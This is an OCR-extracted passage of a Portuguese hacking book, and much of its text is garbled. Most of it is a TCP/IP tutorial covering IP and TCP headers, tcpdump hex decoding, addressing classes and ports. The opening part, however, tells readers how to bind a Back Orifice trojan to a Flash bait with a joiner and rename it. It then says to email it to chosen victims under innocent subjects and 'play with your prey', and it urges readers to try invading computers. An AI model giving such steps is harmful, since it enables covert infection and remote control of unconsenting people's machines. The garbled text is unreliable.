tanto, voc deve ativar o ]oiner, que pedir imediatamente o nome do arquivo
executvel (no caso, o servidor) e nossa isca (a animao Flash). Note que h uma
opo caso o usurio queira ser notillcado se algum abrir o arquivo.
1152 1
Vulnerabilidades I [
Universidade 1ano
Finalizado esse processo, voc obter um ar-
quivo hbrido que poder ser instalado em qual-
quer mquina. Algo assim:
I@] 'EEP.WAV I@] ERRORVlAV
I@] ICQ.WAV
I@]JOIN.WAV
~
JOINER.2
II'!'I'I '.''1",.,
.
,2
WlI 225~8
~--
I@] INmWAV
~
JOINEA1
Iml,"D""m'nl
~ ]9KB
lEIJOINER.EXE
Aps receber a confirma-
o de que o micro rodou o
servidor, hora de utilizar
as funes do cliente. Avan-
tagem do Back Orifice o
seu ambiente grfico capaz
de rodar todos os comandos
sem dificuldade alguma. En-
tre os recursos do BO, po-
demos destacar a criao de
diretrios, movimentao de
arquivos e at a possibilida-
de de reiniciar o sistema.
A grande maioria dos joiners funciona da mesma
forma. Alguns apenas em modo texto, mas em geral
as sentenas de operao limitam-se aos seguintes
comandos (em DOS):
C:\ > joiner (nome do arquivo servidor) (nome
do arquivo isca)
C:\ > ren join.f1l goggles.exe
Agora s escolher as pessoas que vo receber o ser-
vidor e mand-Iopor e-mailscom assuntos inocentes.
Porta dos fundos
""" -
Agora, s brincar com sua presa.
Happy hacking!
Consideraces finais
, I
E bvio que, neste captulo, apenas arranhamos a superfcie - e no muito.
Aconselhamos a parar a leitura do livro, visitar todos os sites aqui indicados,
"brincar" com todas as ferramentas mostradas e mesmo tentar invadir alguns
computadores, sempre com autorizao da vtima. Demore nesses procedimen-
tos e descubra voc mesmo os meandros desse labirinto escuro.
1153I
]Vulnerabilidades I
Universidade 2 Ano:
Ocaminho de um Voyager
Reei II
Captulo
'Minha terra tem campos de futebol onde cadveres
amanhecem emborcados pra atrapalhar os jogos. Tem
uma pedrinha cor-de-bile que faz 'tuim' na cabea da
gente. Tem tambm muros de bloco (sem pintura,
c/aro, que tinta a maior frescura quando falta mistura/,
onde pousam cacos de vIdropra espantar malaco.
Minha terra tem HK, ARl5, M21, 45 e 38 (na minha terra,
32 uma piada/. As sirenes que aqui apitam, apitam de
repente e sem hora marcada. Elas no so mais as das
fbricas, que fecharam. So mesmo dos cambures,
que vm fazer aleijados, trazer tranqilidade e aflio ':
Quinze cenas de descobrimento de Brasis, 1999,
Fernando Bonassi
IUniversidade H4CK3RI
TCP!IP: Oincio
No captulo anterior sobre redes, tratamos dos aspectos mais bsicos e de-
senvolvemos um breve estudo sobre alguns dos protocolos mais utilizados.
Tal estudo serviu para que pudssemos, posteriormente, conhecer algumas tc-
nicas e procedimentos simples de invaso e fazer experimentos com algumas
ferramentas. Com o conjunto de informaes dos captulos Redes I e
Vulnerabilidades I, adicionado a um pouco de pesquisa nos sites e livros indica-
dos, qualquer um j pode considerar-se um script kiddie e levar a cabo a maio-
ria dos procedimentos simples de "owning" de computadores domsticos.
Agora a conversa um pouco diferente. Veremos mais adiante (em
Vulnerabilidades 11e, posteriormente, nos captulos finais) mtodos mais
complexos de ataque a sites, empresas e redes remotas, todos por intermdio
da Internet. Como a Grande Rede baseada na famlia de protocolos TCP/lP
(ou seria o contrrio? O TCP/lP foi criado por causa da Internet, afinal de
contas...), ser ela a vedete desta parte do livro.
Mas seremos "malvados" com o TCP/lP. A maioria dos livros mostra o proto-
colo de forma acadmica e bem-comportada. Emnossos estudos, veremos como
podemos desfigurar, fraturar e abusar dele: um verdadeiro estupro digital! A
palavra forte, mas ver o estimado leitor que se aplica perfeitamente ao con-
texto em que empregada. Para os hackers, a tecnologia est a para ser esten-
dida. Ou deturpada...
Este captulo nunca substituir qualquer um dos excelentes livros e artigos
especialmente escritos para revelar todos os meandros e facetas do protocolo
TCP/lP e sua utilizao prtica. Esperamos, pelo menos, que sirva como uma
introduo para esses recursos. Aps a leitura deste livro, recomendamos ao
leitor que se aprofunde no estudo desse protocolo e das tecnologias de rede
baseadas nele. Alm dos livros de Andrew Tannembaum e do Prof. Gabriel Tor-
res (ambos chamados Redes de Computadores), j citados vrias vezes no de-
correr do livro, recomendamos as seguintes publicaes:
~ Projeto e Arquitetura de Redes, de J.F. Dimarzio;
~ Intemetworking com TCP/IP, de Doug Comer;
~ Aprenda TCP/IP em 14 dias, de Tim Parker;
~ Administrao de redes TCP/IP, de Craig Hunt;
~ TCP/IP Illustrated, volume 1, de w: Richard Stevens.
Na Internet, h excelentes recursos em portugus disponibilizados por pes-
quisadores de universidades brasileiras, empresas do setor e sites especializados.
Alguns bons trabalhos sobre redes e TCP/lP que recomendamos:
~ Apostila TCP/IP de CCUEC(www.dicas-l.unicamp.br/freinamentos/tcpip);
~Notas de Aula TCP/IP, de Ricardo Ueda, Instituto de Matemtica e Estats-
tica da USP (www.ime.usp.br/-ueda/ldoc/notastcp.html).
1158 1
Redes II [
Universidade 2 Ano
E, em ingls, recomendamos:
~ TCP/IP Tutorial and Technical Overview, IBM Red Books
(publib-b. boulder.ibm.com/redbooks.nsf/portals/N etworking );
~Netscape Open Directory (dmoz.org/Computers/Internet/Protocols).
H ainda na Internet, diversos grupos de discusso sobre redes. Dois dos
grupos, que os autores no s recomendam como tambm participam, so o
Dicas-L, hospedado na Unicamp (www.dicas-l.unicamp.br) e mantido pelo
competentssimo Rubens Queiroz de Almeida, e o Redes-L, hospedado e manti-
do pela FAPESP(listas.ansp.br/mailman/listinfo/redes-l).
Por ltimo, sabemos que no Brasil existem diversas publicaes voltadas para
o usurio de informtica e o administrador de redes. Uma lista delas, tambm
prestigiadas pelos autores, :
~ In/o Exame
~ H4CK3R
~ Geek
~ Revista do Linux
~ PC Brasil
051 versus TCP/IP
Continuando de onde paramos no captulo 2, vamos analisar mais a fundo o
formato e o funcionamento de cada protocolo da famlia TCP/IP, como os
diferentes protocolos interagem entre si e quais as tecnologias envolvidas. O
TCP/lP uma coleo de protocolos presente na Internet. Na realidade, ambas
as entidades so a mesma coisa. Assim como impossvel dissociar o que
energia e o que matria (E=mc2), no h como precisar se o TCP/lP foi criado
para ser usado na Internet, ou se a Internet apareceu em decorrncia do
TCP/lp. A histria do ovo e a galinha...
O TCP/lP independente de plataforma. Suas especificaes so abertas e
livres de royalties. Por isso mesmo, acabou tomando-se de fato o padro da in-
dstria mundial e, tambm por isso, usado para levar acessibilidade a computa-
dores de todos os tipos e tamanhos, desde dispositivos de mo at mainframes.
A maior parte das publicaes costuma dizer que a famlia TCP/lP preenche
os requisitos de trabalho das camadas 3 a 4 do modelo de referncia OS!. A
afirmao correta, mas incompleta. Sabemos que cada uma das camadas do
modelo de referncia pode ser implementada com um protocolo diferente,
mesmo porque cada camada independente. Assim, em teoria possvel fazer
pacotes SPX (uma implementao proprietria da Novell) serem transporta-
dos por pacotes IP, em vez do IPX. Na prtica, o que vemos que os padres
abertos acabam sendo os comum ente usados, com raras excees como o
5MB/ClFSda IBM/Microsoft. Podemos, pois, montar um diagrama contendo as
sete camadas OSI e seus representantes no "mundo real":
1159 1
1 Redes 11
I Universidade H4CK3R I
Camadas dos protocolos de rede
Observe: na prtica, h aplicativos que fazem as funes das camadas 7,6 e 5.
Como so aplicativos externos, de implementao livre e que rodam na rea
do usurio, considera-se que todos eles estejam na camada de aplicao.
Protocolo IP
o burro de carga da pilha TCP/lP o protocolo IP. atravs de pacotes IP
(ou seja, quadros de dados montados segundo o protocolo IP) que as mensa-
gens das aplicaes sero transportadas entre as diferentes redes. O protocolo
tambm defllle como ser o esquema de endereamento para que cada mqui-
na tenha um identificador nico em todas as redes. Tal endereamento
implementado com nmeros IP: um grupo de 32 bits, divididos em quatro gru-
pos de oito (ou seja, quatro bytes) e que obedecem ao deflllido no protocolo IP.
Atente, portanto, para o fato de que protocolo IP, nmero IP e pacote IP no
so a mesma coisa!
Neste livro, falaremos exclusivamente de pacotes IP da verso 4, conhecido
como IPv4. As exigncias da Internet atualmente (notadamente desempenho,
segurana e principalmente indisponibilidade de nmeros IPv4) levaram ao
desenvolvimento de um novo protocolo chamado IPv6, que est sendo utiliza-
do na Internet 2.
1160 1
Redes 11r
Na prtica
051
Exemplo de aplicao
Aplicao
Mail, NFS, HTTP, 5MB
Aplicao Apresentao External Data Representation (XDR)
Sesso Remote Procedure Calls (RPC)
TCP/UDP
Transporte
TCP/UDP
IP Rede IP/ICMP
Ethernet Conexo Ethernet
Fsica Fsica
Cabo de par tranado categoria 5
Universidade 2 Ano
o pacote IP
As informaes vindas das camadas superiores (em nosso caso, TCP e UDP)
devem ser inseridas em um pacote de dados para que sejam transmitidas se-
gundo os procedimentos definidos no protocolo IP. Esse pacote montado
segundo um modelo tambm defInido no protocolo chamado de Datagrama IP.
Um datagrama IP uma seqncia serial de bytes, dos quais os 20 primeiros
compem o chamado cabealho IP.A aluso a telegramas no cacofonia: um
datagrama parece-se realmente com seu colega de "carne e osso" (ou antes, de
papel e tinta):
Os valores entre parnteses indicam o tamanho do campo em bits. No incio
do datagrama temos o campo verso. Como o nome j diz, ele indica a verso
do protocolo IP em uso. Possui quatro bits, o que daria 16 possibilidades de
verses diferentes do protocolo IP. Entretanto, atualmente temos apenas duas,
IPv4 e IPv6. O valor armazenado a numrico, portanto o IPv4 seria represen-
tado pelo nmero binrio 0100, e o IPv6, por 0110.
Observando o cabealho, nota-se que ele formado por linhas de 32 bits de
comprimento. O campo tamanho de cabealho (Internet Header Length ou
IHL) fornece o comprimento do cabealho em nmero de palavras de 32 bits.
Se no houver opes, o valor vlido para esse campo cinco. Havendo op-
es, esse valor pode crescer indefInidamente para acomodar todas.
Os roteadores so equipamentos dotados de certa inteligncia. Eles sabem,
por exemplo, qual das rotas ligadas a ele mais barata ou mais conflvel. O
campo tipo de servio (Type of Service ou ToS) permite dar aos roteadores
indicaes sobre como tratar o pacote e por onde envi-Io. Possui quatro flags:
minimizar atraso, maximizar desempenho, maximizar confiabilidade e
minimizar custo. Baseado nesses flags, o roteador vai encaminhar o pacote IP
para uma determinada rota. A maioria das implementaes existentes, entre-
tanto, ignora solenemente este campo, portanto seu uso pode no surtir o efei-
to desejado.
1161 I
] Redes 11
Verso(4) I IHL(4) I
TOS(8) TamanhoTotaL(16)
Identificao(16) Flags(3) I
Fragment Offset(13)
TTL(8)
I
Protocolo(8)
Nmero de Verificao(16)
Endereo IP de origem(32)
Endereo IP de destino(32)
Opes (se houver)
IEnchimento
Dados
IUniversidade H4CK3R I
o campo tamanho total guarda o comprimento do datagrama, em bytes,
englobando todo o cabealho mais o container de dados. Na teoria, 16 bits
poderiam indicar um tamanho de at 65.535 bytes. Mas um pacote IP de 64 KB
monstruoso. Na prtica, o tamanho padro dos pacotes 576 bytes. Depois
que a conexo for estabelecida e o sistema certificar-se de que todos os seg-
mentos do caminho - principalmente o computador destino - suportam paco-
tes maiores, esse valor pode ser modificado. Alis, um dos mtodos mais anti-
gos de negao de servio, ou DoS, era forar o envio de um pacote IP com um
tamanho de 64 kbytes. Se o destino no estivesse preparado para um pacote
to grande fatalmente seria derrubado. o conhecido Ping of Death.
s vezes necessrio fragmentar o pacote IP.Diversos motivos podem obrigar
um roteador a isso. Um deles rotear entre duas redes cuja camada 2 (data link)
tenha implementaes com tamanhos de payload diferentes. Por exemplo, entre
uma rede Ethernet, que possui um MTA(maximum transfer unit) de 1.500 bytes
para uma clula ATMcom comprimento de 480 bytes. O pacote IP padro de
576 bytes no cabe na clula ATM.Deve-se quebrar o pacote IP em dois, portan-
to, para que possa trafegar nesse novo meio. Quando, l do outro lado, os pacotes
fragmentados sarem do ATMem direo a outro segmento Ethernet, deve haver
um mecanismo que possa desfragmentar novamente o pacote.
O campo identificao carrega um nmero que reconhece o pacote. na
verdade um contador circular, pois quando a contagem chega em 65535, retorna
a zero. Caso seja necessrio fragment-Io, todas as partes carregaro o mesmo
ID. Assim, impossvel confundi-Ios com fragmentos de outros pacotes. O
campo flags possui trs controles que indicam se um datagrama pode ou no
ser fragmentado e se houve fragmentao. O deslocamento de fragmenta-
o (fragment offset) indica a posio daquele fragmento dentro do datagrama
original, e usado para a remontagem do mesmo. Cada unidade no fragment
offset representa um deslocamento de 64 bits no pacote original. Em pacotes
no fragmentados, o valor desse campo zero.
Um dos campos mais importantes do datagrama IP o TIL ou Time to Live.
Indica o nmero mximo de roteadores pelos quais o pacote pode passar.
Quando o valor chega a zero, o pacote descartado. Esse artifcio evita que
pacotes IP sem dono vaguem indefInidamente pela Internet.
O campo protocolo indica qual protocolo de camada 4 nosso pacote IP est
carregando - veja a RFC1700. O nmero de verificao (checksum) , como
vimos no pacote Ethernet (captulo 2, Redes 1), um nmero calculado na ori-
gem com base em todos os dados do pacote. Esse nmero recalculado no
destino e, caso sejam diferentes, o pacote descartado. Note que o rec1culo
ocorre cada vez que o pacote passa por um roteador. Como os dados do cabe-
alho mudam durante o caminho, o checksum diferente em cada segmento
pelo qual passa.
1162 I
Redes 11[
Universidade 2 Ano
Logo a seguir, temos, fmalmente, os campos de endereo. Ambos possuem
um comprimento de 32 bits. Logo aps, temos o campo opes, que pode ter
de zero a vrios bytes. Dependendo do nmero de opes, pode ocupar vrias
linhas de 32 bits. O campo enchimento possui tamanho varivel e serve para
garantir que a ltima linha do campo opes tenha um comprimento de 32
bits, garantindo assim a consistncia do cabealho.
Vamos escovar um pouco os bits? Se voc tem acesso a algum Unix, podemos
ver o contedo dos pacotes IP com o comando tcpdump:
# tcpdump -i <interface> -1 -n -x port 80
05:39:40.734407 192.168.1.11.2819 > 213.61.48.245.80:
6432 <nop,nop,timestamp 63228741037367659> (DF)
4500 0034 3779 4000 4006
d53d 30f5 Ob03 0050 785c
8010 1920 c9b6 0000 0101
3dd4 f96b
ack 357 win
3b65 cOa8 010b
4fcO 77aa ce8b
080a 0060 7aba
Esse comando analisa todos os pacotes que entram e saem da mquina. Voc
pode observar que o prprio tcpdump decodificou algumas coisas: hora em
que o pacote passou pela interface (5h39), endereos de origem (192.168.1.11)
e destino (213.61.48.245) e alguns flags de controle.
Logo abaixo, em notao hexadecimal, esto os bytes correspondentes ao
pacote IP completo. Cada algarismo representa 4 bits.
Poderamos utilizar, em vez do tcpdump, o programa Ethereal
(www.ethereal.com). que tem verses para Windows e Unix e uma bonita e
funcional interface grfica. Os autores recomendam o excelente Ethereal para
diagnosticar praticamente todos os problemas envolvendo desempenho e er-
ros em redes de computadores. Para o propsito deste exemplo, entretanto, a
sada do tcpdump vai servir.
Penteando um pouco, vemos que o primeiro dgito tem o valor 4, ou seja,
0100. Estamos falando, portanto, de um pacote IPv4. O segundo dgito 5, o
que indica que nosso pacote IP possui um cabealho com cinco linhas de 32
bits (ou seja, 20 bytes ou ainda 40 algarismos de nosso cabealho).
Opa! J sabemos quanto temos de cabealho. Separando-o, temos:
4500 0034 3779 4000 4006 3b65 cOaS OlOb d53d 30f5
Escovando os bits mais um pouquinho, podemos observar que:
~ Verso: 4
~ IHL: 5, ou seja, 20 bytes
~ TOS: 00
~ Tamanho total: 0034 ou 52 bytes
~ Identificao: 3779
1163 I
] Redes11
IUniversidade H4CK3R I
~ Flags e frn.gment Offset: 4000. As flags esto setadas como 0100, indican-
do que o pacote pode ser fragmentado e que no houve, ainda, fragmentao.
Os outros 12 bits esto zerados (no h fragmentao).
~ TIL: 40, ou 64 roteadores. Quando o pacote chegar ao 64 roteador ser
descartado, a no ser que o campo TIL seja reca1culado por algum outro
roteador no meio do caminho.
~ Protocolo: 6. Cada protocolo de camada 4 transportado pelo IP
possui um nmero que o identifica. No exemplo, o nmero 6 representa um
pacote TCP.
~ Checksum: 3b65
~ Endereo de origem: cO.a8.01.0b - ou, em decimal, 192.168.1.11
~ Endereo destino: d5.3d.30.f5 - ou, em decimal, 213.61.48.245
Endereamento IP
No captulo Redes I, vimos alguns fundamentos sobre numerao IP.Naquela
ocasio, dissemos que um nmero IP contm 4 bytes no formato:
000.000.000.000. Cada byte, sendo um valor de 8 bits, pode obviamente conter
um valor entre Oe 255, como, por exemplo, 200.230.168.1. No deve haver
duas mquinas com o mesmo endereo IP em uma mesma rede, pois seria
impossvel rotear os pacotes at o destino correto.
Os nmeros IP identificam a interface de uma mquina qualquer em uma
rede. Mais do que isso, identificam em qual rede o n est conectado caso
vrias redes estejam ligadas entre si. Para ver qual o nmero IP designado para
a sua mquina, abra um terminal ou janela do DOS e d os comandos ifconfig
(no Linux), winipcfg (para a famlia Win9x) e ipconfig (para a famlia WinNT).
No Windows XP Home, este comando no est disponvel, portanto o leitor
dever procurar pelas Propriedades de Rede no Painel de Controle.
Qualquer que seja o comando, a sada ser parecida com esta:
ethO
Encapsulamento do Link: Ethernet
Endereo de HW 00: 08: 74: B5: 64: 95
inet end.: 192.168.1.11
Broadcast:192.168.1.255
Mscara:255.255.255.0
Pode haver ou no mais informaes anexadas sada. Os endereos IP so
defmidos por interface. No exemplo mostrado (uma mquina Linux) aparecem
os dados relativos interface ethO. Se houvesse mais uma interface (ex. ethl)
existiriam nmeros IP para as duas interfaces. Outro dado que aparece o MAC
address. Mas e aqueles dois outros campos, Broadcast e Mscara? Para descobrir
para que ambos servem, temos de entender o conceito de classes de redes.
1164 I
Redes"[
Universidade 2Ano
Redes e Hosts
o nmero IP pode ser dividido em duas partes que identificam a rede em que
esto conectados e seu endereo nico nessa rede. Por exemplo, no endereo
192.168.1.11, poderamos dizer que 192.168.1 representa a rede e 11 repre-
senta o 110 computador ligado a essa rede.
Mas espere a! Onde termina o nmero de rede e onde comea o nmero de
host? Para defInir isso, usamos um novo elemento, a mscara de rede. No ende-
reo do nosso exemplo, a mscara de rede era 255.255.255.0. Para entender
como esse emaranhado de nmeros pode separar alguma coisa, vamos trans-
formar tudo em binrios:
192.168.1.11
255.255.255.0
11000000.10101000.00000001.00001011
11111111.11111111.11111111.00000000
Agora, basta fazer uma operao lgica E. O resultado da operao indica a
rede (por isso ela chamada de mscara de rede). Na prtica, signiflca que
todas as posies da mscara que possuem 1 indicam que aquele bit do endere-
o pertence ao nmero da rede. Em nosso exemplo, a rede seria 192.168.1.0.
Nosso host fIcaria apenas com o nmero 11 para identiflc-Io nessa rede.
Mas como defInir a mscara correta? Para isso, todo o endereamento foi dividi-
do em classes. No vamos entrar em detalhes do porqu foi dividido dessa forma,
mesmo porque irrelevante para os nossos objetivos. Basta saber que existem
cinco classes de endereos, e que cada uma possui a seguinte confIgurao:
o 7 8 31
Classe A G End. Rede[
End. Host
7 8 31
End. Rede
End. Host
End. Rede
23 24 31
] End. Host I
Os algarismosacima dos quadros representam a posio dos bits dentro do
endereo. Vemos que endereos de classe A possuem 24 bits reservados para
hosts e apenas 8 bits para redes. Isso nos d 256 redes diferentes, cada uma
com mais de 16 milhes de hosts. No caso da classe C, temos exatamente o
inverso: 16 milhes de redes, cada uma com 256 endereos de host possveis.
Na classe B meio a meio: 65.536 nmeros para cada lado.
1165 I
] RedesII
o
Classe B
o 1 2 3
Classe C
ITE
IUniversidade H4CK3R I
Dependendo da aplicao, usa-se um ou outro espao de endereamento.
Fazendo as contas, e levando em considerao os bits iniciais das classes (que
nunca mudam), temos a seguinte diviso:
Classe A: de 1.0.0.0 a 126.255.255.255
Classe B: de 128.0.0.0 a 191.255.255.255
Classe C: de 192.0.0.0 a 223.255.255.255
Eu no falei cinco classes? Sim, mas as duas restantes no possuem diviso de
hosts e redes. A classe D encerra os chamados Endereos de Multicast. Enquan-
to um endereo IP nico em toda a rede, pode haver diversas mquinas com
o mesmo endereo multicast. Ele serve para enviar pacotes comuns a todas
essas mquinas. Foi criado com a idia original de suportar streamming de
udio e vdeo. Pode-se identificar um endereo de multicast pelos bits iniciais
1110 ou, em decimal, 224. A classe E foi reservada para uso futuro, mas nunca
foi aproveitada. Com o advento do IPv6, provavelmente nunca ser. Inicia com
1111 em binrio, ou 240 em decimal.
Ainda falta descobrirmos o que o tal de Broadcast. Para tanto, vamos a
algumas convenes. Em geral, as interfaces de rede consideram o valor "tudo
zero" no endereo como a palavra "este", e o valor "tudo um" como "todos".
Lembrando que, nos bits de cada um dos quatro bytes do endereo IP, "tudo
zero" representado por Oe "tudo um" por 255, temos:
~ 0.0.0.0 - Esta rede
~ a.b.O.O- A rede a.b
~ O.O.x.y- Estao x.y nesta rede
~ 255.255.255.255 - Todas as estaes
~ a.b.255.255 - Todas as estaes da rede a.b
Voltemos ao endereo de broadcast que vimos no tcpdump, 192.168.1.255.
Vimos que, aplicando a mscara de rede, conseguimos o endereo 192.168.1.0.
Este o endereo da rede 192.168.1. O zero no lmal do endereo indica este,
logo, poderamos decodificar "esta rede que se chama 192,168.1". J o 255 no
lmal do endereo de broadcast ("tudo um") indica "todas as mquinas da rede
192.168.1". Puxa, nem era to difcil...
Protocolo TCP
O companheiro inseparvel do IP e grande estrela da Internet o protocolo
TCP.Como a maioria dos servios disponveis baseia-se nele, devemos ter uma
noo de como o pacote TCP montado e como se comporta, para entender
como os ataques a esses servios funcionam.
1166 I
Redes I1[
Universidade 2 Ano
o pacote TCP
Como vimos em Redes I e, rapidamente, no captulo sobre Unix, todos os
servios de Internet que usamos - HTTp, SMTp' POp, ICQ, KaZaA - ficam
"escutando" a rede e esperando por uma conexo para si. Essa conexo d-se
por meio de portas, que so nmeros atribudos aos servios em questo e
dependem do protocolo utilizado.A porta representada por um algarismo de
8 bits, portanto temos 65.563 possveis servios que usem o protocolo TCP
escutando a rede. Um exemplo clssico uma seo de e-mail. Quando se conecta
ao servidor de SMTPpela porta TCP 25, nosso programa preferido (os autores
usam Eudora e KMail) recebe dele uma string assim:
HELO
MAIL
RCPT
DATA
Date: Mon,
Frorn: ...
srntp.seudorninio.com.br
FROM: usuario1@seudorninio.com.br
TO: destinatario@provedor.com.br
07 Apr 2003 12:16:35 -0500 (EST)
Cada mensagem ter um cabealho parecido com esse e vrios kbytes (s
vezes, Mbytes, dependendo de quantos dias voc ficou sem verificar sua corres-
pondncia...). Como qualquer idiota pode ver (ei, eu posso ver!), impossvel
transportar todos os dados de seus e-mails (ou da pgina da Web, ou do MP3 do
KaZaA) em um nico pacote TCP. Portanto, a fragmentao o mecanismo
principal do protocolo.
O cabealho TCP tem normalmente 20 bytes e se parece com este aqui:
Os campos Nmero seqencial, Reconhecimento, Tamanho, Opes, Enchi-
mento e Dados tm aplicaes idnticas s do protocolo IP. Os outros campos
tm aplicao especfica para o protocolo TCP e um deles, o camplo Flags, o
que faz com que o protocolo funcione - e o que os hackers usam para atac-Io.
11671
] Redes II
Porta de Origem(16)
Porta de Destino(16)
Nmero seqencial (32)
Nmero de Reconhecimento(32)
Tam.(4) I Reservado(6) I
Flags(6) Tamanho da janela(16)
Verificador do TCP(16)
Ponteiro de Urgncia(16)
Opes (se houver! IEnchimento
Dados
I Universidade H4CK3R I
Vamos continuar escovando bits? A sada do comando tcpdump, que usamos
para estudar o pacote IP, era:
05:39:40.734407 192.168.1.11.2819 > 213.61.48.245.80:
6432 <nop, nop, timestamp 6322874 1037367659> (DF)
4500 0034 3779 4000 4006
d53d 30f5 IOb03 0050 785c
8010 1920 c9b6 0000 0101
3dd4 f96b
ack 357 win
3b65 cOa8 010b
4fcO 77aa ce8b
080a 0060 7aba
Observe os dados dentro do quadro. Esse o campo de dados do pacote IP.
Mas lembre-se: o pacote TCP est "envelopado" dentro do Ip, ento se separar-
mos os 20 bytes iniciais do campo de dados IP temos o cabealho TCP.
Ob03 0050 785c 4fcO 77aa ce8b 5010 1920 c9b6 0000
Os primeiros 2 bytes indicam a porta de origem. Ob03 2.819 em decimal.
uma porta maior que 1.024, ou no privilegiada, o que indica que o pacote
provavelmente! originou-se de um software cliente. A porta-destino, 0050,
80 em decimal. Da, pode-se deduzir que este pacote:
~ Foi criado por um navegador Web, como o Mozilla.
~ Dirige-se a um servidor Web, no caso o Apache do Greenpeace.org ;).
Os outros campos tambm so reveladores:
~ Nmero seqencia1: 785c 4fcO. Onmero seqencial noTCP no se presta,
apenas, fragmentao. O protocolo TCP controla a ordem em que os pacotes
so recebidos e os ordena do destino, caso estejam fora de ordem. Alm disso,
se um pacote demora a chegar, a mquina-destino faz com a mquina-cliente o
mesmo que fazemos no McDonald's: pede pelo nmero.
~ Nmero de reconhecimento: 77aa ce8b. O computador-destino dos
pacotes sempre devolve um nmero de reconhecimento de um pacote anteri-
ormente recebido. Esse nmero o seqencial do pacote recebido +1.
~ Tamanho do cabealho: 5
~ Flags: 010, ou seja, em binrio 010000. Os flags so, em ordem, URG, ACK,
PSH, RST,SYNe FIN. Neste exemplo, vemos que o flag ACK est ligado.
~ Tamanho da janela: 1.920, em decimal 6.432. a quantidade de bytes
mxima que a origem pode manipular.
1 Sim, provavelmente. hackers podem alterar os nmeros das portas-destino dos pacotes enviados por
ele para fazer com que os sistemas de defesa pensem que sua mquina um inocente servidor de Internet
- e deixem passar o ataque...
1168 1
RedesII I
Universidade 2 Ano
~ Verificador: c9b6. o checksum do pacote TCP.
~ Ponteiro de urgncia: 0000. O protocolo TCP permite que certos dados
dentro do pacote possam "furar a ftla" e ser processados primeiro. A flag URG
indica que esses dados existem, e o ponteiro indica a posio, dentro da rea
de dados, em que tais pacotes se encontram. Em nosso pacote-exemplo, no h
nenhum dado urgente a processar.
Portas TCP
Diz-se que o TCP um protocolo orientado a conexo. Isso significa que no
importa os caminhos pelos quais o pacote IP ande: para o TCP no existe "mun-
do l fora". OTCP cria um canal virtual entre a origem e o destino, e esse canal
imune a influncias externas. A alegoria do cano perfeita: o TCP cria um
tubo entre a aplicao origem e a destino, e os dois lados "conversam" por ele.
Quem olhar por uma extremidade no ver roteadores, cabos, IPs, Ethernet,
placas de rede, nada disso. Ver apenas seu companheiro de conexo no outro
lado. Essa conexo s possvel porque existe o conceito de portas.
Vamos divagar um pouco. Voc j deve ter ido a algum bar ou restaurante
onde a cozinha no andar de cima e h elevadores para os diferentes tipos de
itens oferecidos no cardpio. As bebidas no podem trafegar no mesmo eleva-
dor dos pratos quentes porque esquentaro. Estes no devem trafegar no mes-
mo ambiente das saladas, porque as deixaro murchas e possivelmente
engorduradas. Sem falar nas sobremesas. Hipoteticamente, precisamos de, pelo
menos, quatro elevadores2.
Por outro lado, todas as mesas tm, tambm, nmeros. Se voc considerar que
os garons so os pacotes IP, as comandas podem servir como pacotes TCP.
Cada mesa "conecta-se" a um elevador por meio da comanda/TCP. A mesa 26
pode conectar-se ao elevador 4 e esperar uma sobremesa; a mesa 31, ao eleva-
dor 3 e esperar aquele Espaguete ao Vngoli.
Note que cada um dos elevadores do nosso restaurante presta-se a um servi-
o diferente. Se o casal da mesa 4 quiser o servio completo, ter de se conectar,
em ordem, aos elevadores 1, 2, 3 e 4. O cafezinho um exemplo de servio
alternativo que vem pela mesma porta de outro: desceu pelo elevador de so-
bremesas. E a conta vem por uma porta desconhecida e misteriosa (no saiu de
elevador nenhum), estou achando que algum backdoor...
Voltando ao domnio dos computadores, voc pode atribuir qualquer porta a
qualquer servio. Mas existem sugestes para o uso delas, todas referenciadas
na RFC1700. Por exemplo, a porta 80 normalmente destinada aos servidores
Web ou HTTP.Quando voc abre uma pgina da Web e no diz em que porta
est, o seu navegador infere que para usar a porta 80. Voc pode montar um
servidorWeb e atribu-Io porta 12345, se quiser. Mas ter de informar a todos
os seus clientes que seu servidor usa essa porta.
2 voc j viu um restaurante organizado assim? Eu nunca. Minhas bebidas chegam sempre quentes...
1169 I
] Redes II
IUniversidade H4CK3RI
Uma sesso TCP se parece com esta:
Porta Origem: 2337
Porta Destino: 80
Porta Origem: 80
Porta Destino: 2337
Observe: a porta do cliente o que chamamos de alta ou no privilegiada.
Ela maior que 1024 e normalmente fomecida pelo sistema operacional, que
no usa uma porta ftxa para cada aplicao, mas a prxima porta que estiver
disponvel. J a porta do servidor o que chamamos de baixa ou prioritria.
Essas portas, ao contrrio das do cliente, so deftnidas pelo IETFe normatizadas
pela RFC1700. Pense nos servios mais comuns que voc usa na Internet: FTP,
SMTP, DNS e HTTP.Suas portas, segundo a RFC1700, so, respectivamente, 21,
25,53 e 80. D uma olhada na lista completa em www.ietf.org/rfc.htmI.
H uma maneira fcil de ver quais portas esto sendo usadas. O comando
netstat, presente tanto no Windows como em todos os Unix, mostra todos os
aspectos do estado da conexo do computador com a rede. Emitir o comando
sem argumentos vai mostrar todas as conexes ativas (vou usar um exemplo
do Windows, desta vez, para no me chamarem de radical):
C: \> NETSTAT
Conexes ativas
Endereo externo
Estado
192.168.1.109 :netbios-ssn ESTABLISHED
baym-cs41.mdc.chachucha.com:1863 ESTABLISHED
streamer013 .cache. gotorama. com: http CLOSE_WAIT
xuxu. c1ient. tatibi ta ti .com: ftp TIME_WAIT
ADSL145-4.babababa.com.ar:1346 ESTABLISHED
Experimente agora com as opes -na. A opo n diz ao netstat para no
resolver os nomes dos sites e servios, mostrando-os como nmero IP e de
portas. Observe a coluna endereo local. As milhares logo aps o sinal de ":"
so as portas pelas quais os aplicativos-cliente esto "escutando" e conversan-
do com os servidores. J nos endereos externos, note que h servios sendo
disponibilizados por portas privilegiadas: netbios-ssn (139), http (80) e ftp (21).
As outras duas esto "escutando" em portas altas.
Como veremos nos captulos seguintes, saber quais portas esto ativas em
nosso computador primordial para que identillquemos possveis atividades
de hackers maliciosos. Por outro lado, conhecer as portas comuns e as ferra-
mentas que as gerenciam pode facilitar as coisas para esses mesmos hackers.
1170 I
Redes11[
Prato Endereo local
TCP EST202:1928
TCP EST202 :2787
TCP EST202: 2934
TCP EST202 :4065
TCP EST202: 4068
Universidade 2Ano
05 bits de controle TCP
Para a maioria das aplicaes, os bits de controle do protocolo TCP so uma
parte significativa do trabalho de conexo e transporte. Cada um dos seis bits
presentes no campo Flags do pacote IP tem uma funo especfica e importan-
te no estabelecimento, controle e gerenciamento da sesso. No captulo 2, Re-
des I, nos referimos a eles de forma rpida:
